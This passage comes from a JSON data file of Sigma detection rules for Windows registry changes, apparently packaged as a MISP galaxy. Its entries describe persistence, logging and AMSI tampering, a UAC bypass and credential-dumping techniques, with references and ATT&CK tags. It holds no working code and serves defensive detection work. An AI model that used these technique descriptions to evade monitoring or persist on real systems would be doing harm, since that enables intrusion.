          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8b7273a4-ba5d-4d8a-b04f-11f2900d043a",
      "value": "Hypervisor Enforced Code Integrity Disabled"
    },
    {
      "description": "Detects potential persistence activity via outlook today pages. An attacker can set a custom page to execute arbitrary code and link to it via the registry key \"UserDefinedUrl\".",
      "meta": {
        "author": "Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/06/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_outlook_todaypage.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=74",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_todaypage.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1",
      "value": "Potential Persistence Via Outlook Today Pages"
    },
    {
      "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_persistence_autodial_dll.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/autodialdll.html",
          "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3",
      "value": "Potential Persistence Via AutodialDLL"
    },
    {
      "description": "Detect modification of the startup key to a path where a payload could be stored to be launched during startup",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_susp_user_shell_folders.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9c226817-8dc9-46c2-a58d-66655aafd7dc",
      "value": "Modify User Shell Folders Startup Value"
    },
    {
      "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.",
      "meta": {
        "author": "B.Talebi",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "Legitimate driver altitude change to hide sysmon"
        ],
        "filename": "registry_set_change_sysmon_driver_altitude.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650",
          "https://youtu.be/zSihR3lTf7g",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061",
      "value": "Disable Sysmon Event Logging Via Registry"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_currentversion.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd",
      "value": "CurrentVersion Autorun Keys Modification"
    },
    {
      "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_hide_file.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42",
      "value": "Modification of Explorer Hidden Keys"
    },
    {
      "description": "Hides the file extension through modification of the registry",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Administrative scripts"
        ],
        "filename": "registry_set_hidden_extention.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd",
          "https://unit42.paloaltonetworks.com/ransomware-families/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2",
      "value": "Registry Modification to Hidden File Extension"
    },
    {
      "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2017/11/10",
        "falsepositive": "No established falsepositives",
        "filename": "registry_set_mal_adwind.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100",
          "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5",
      "value": "Adwind RAT / JRAT - Registry"
    },
    {
      "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task",
          "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "724ea201-6514-4f38-9739-e5973c34f49a",
      "value": "Bypass UAC Using SilentCleanup Task"
    },
    {
      "description": "Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.",
      "meta": {
        "author": "@SerkinValery, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/12",
        "falsepositive": [
          "Legitimate internal requirements."
        ],
        "filename": "registry_set_clickonce_trust_prompt.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5",
          "https://learn.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_clickonce_trust_prompt.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ac9159cc-c364-4304-8f0a-d63fc1a0aabb",
      "value": "ClickOnce Trust Prompt Tampering"
    },
    {
      "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n",
      "meta": {
        "author": "xknow (@xknow_infosec), xorxes (@xor_xes)",
        "creation_date": "2019/04/08",
        "falsepositive": [
          "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it."
        ],
        "filename": "registry_set_susp_service_installed.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml"
        ],
        "tags": [
          "attack.t1562.001",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f2485272-a156-4773-82d7-1d178bc4905b",
      "value": "Suspicious Service Installed"
    },
    {
      "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_macroruntimescanscope.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope",
          "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba",
          "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1",
      "value": "Disable Macro Runtime Scan Scope"
    },
    {
      "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/07/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_dns_over_https_enabled.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/elastic/detection-rules/issues/1371",
          "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS",
          "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode",
          "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5",
      "value": "DNS-over-HTTPS Enabled by Registry"
    },
    {
      "description": "Detects potential WerFault \"ReflectDebugger\" registry value abuse for persistence.",
      "meta": {
        "author": "X__Junior",
        "creation_date": "2023/05/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_reflectdebugger.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/",
          "https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_reflectdebugger.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0cf2e1c6-8d10-4273-8059-738778f981ad",
      "value": "Potential WerFault ReflectDebugger Registry Value Abuse"
    },
    {
      "description": "Detect set UseActionCenterExperience to 0 to disable the Windows security center notification",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_security_center_notifications.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6",
      "value": "Disable Windows Security Center Notifications"
    },
    {
      "description": "Detects potential registry persistence technique using the Event Viewer \"Events.asp\" technique",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_event_viewer_events_asp.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks",
          "https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/",
          "https://twitter.com/nas_bench/status/1626648985824788480",
          "https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a1e11042-a74a-46e6-b07c-c4ce8ecc239b",
      "value": "Potential Persistence Via Event Viewer Events.asp"
    },
    {
      "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/26",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61",
      "value": "Hide Schedule Task Via Index Value Tamper"
    },
    {
      "description": "Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_autologger_sessions.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
          "https://twitter.com/MichalKoczwara/status/1553634816016498688",
          "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316",
      "value": "Potential AutoLogger Sessions Tampering"
    },
    {
      "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/06/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_dot_net_etw_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38",
          "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39",
          "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables",
          "http://managed670.rssing.com/chan-5590147/all_p1.html",
          "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_",
          "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf",
          "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr",
          "https://twitter.com/_xpn_/status/1268712093928378368",
          "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/",
          "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code",
          "https://bunnyinside.com/?term=f71e8cb9c76a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dot_net_etw_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544",
      "value": "ETW Logging Disabled In .NET Processes - Sysmon Registry"
    },
    {
      "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a suspicious or unsuale location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "Probable legitimate applications. If you find these please add them to an exclusion list"
        ],
        "filename": "registry_set_persistence_com_hijacking_susp_locations.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77",
      "value": "Potential Persistence Via COM Hijacking From Suspicious Locations"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688",
      "value": "Internet Explorer Autorun Keys Modification"
    },
    {
      "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/23",
        "falsepositive": [
          "Other legitimate network providers used and not filtred in this rule"
        ],
        "filename": "registry_set_new_network_provider.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade",
          "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701",
      "value": "Potential Credential Dumping Attempt Using New NetworkProvider - REG"
    },
    {
      "description": "Detect changes to the \"LegalNoticeCaption\" or \"LegalNoticeText\" registry values where the message set contains keywords often used in ransomware ransom messages",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_legalnotice_susp_message.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1491.001/T1491.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_legalnotice_susp_message.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1491.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8b9606c9-28be-4a38-b146-0e313cc232c1",
      "value": "Potential Ransomware Activity Using LegalNotice Message"
    },
    {
      "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems), CrimpSec",
        "creation_date": "2022/03/18",
        "falsepositive": [
          "Legitimate admin script"
        ],
        "filename": "registry_set_disable_function_user.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html",
          "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions",
          "https://www.malwarebytes.com/blog/detections/pum-optional-nodispcpl",
          "https://www.malwarebytes.com/blog/detections/pum-optional-nodispbackgroundpage",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e2482f8d-3443-4237-b906-cc145d87a076",
      "value": "Disable Internal Tools or Feature in Registry"
    },
    {
      "description": "Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless",
      "meta": {
